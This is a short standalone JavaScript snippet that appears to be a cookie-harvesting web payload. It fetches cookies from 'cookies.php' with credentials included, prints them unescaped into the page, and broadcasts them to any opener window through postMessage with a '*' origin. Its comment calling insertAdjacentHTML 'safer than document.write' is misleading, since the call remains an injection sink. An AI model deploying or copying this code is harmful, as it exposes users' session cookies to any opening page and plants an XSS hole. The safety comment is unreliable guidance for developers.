<script>
(async () => {
  try {
    const cookiesResponse = await fetch("cookies.php", {
      method: "GET",
      credentials: "include",
    });

    if (!cookiesResponse.ok) {
      throw new Error("Failed to fetch cookies");
    }

    const cookiesData = await cookiesResponse.json();
    const cookies = cookiesData.cookies;

    if (cookies) {
      console.log("Cookies:", cookies);

      // safer than document.write
      document.body.insertAdjacentHTML("beforeend", `<pre>${cookies}</pre>`);

      if (window.opener) {
        window.opener.postMessage({ cookies }, "*");
      }
    }
  } catch (err) {
    console.error("Error fetching cookies:", err);
  }
})();
</script>
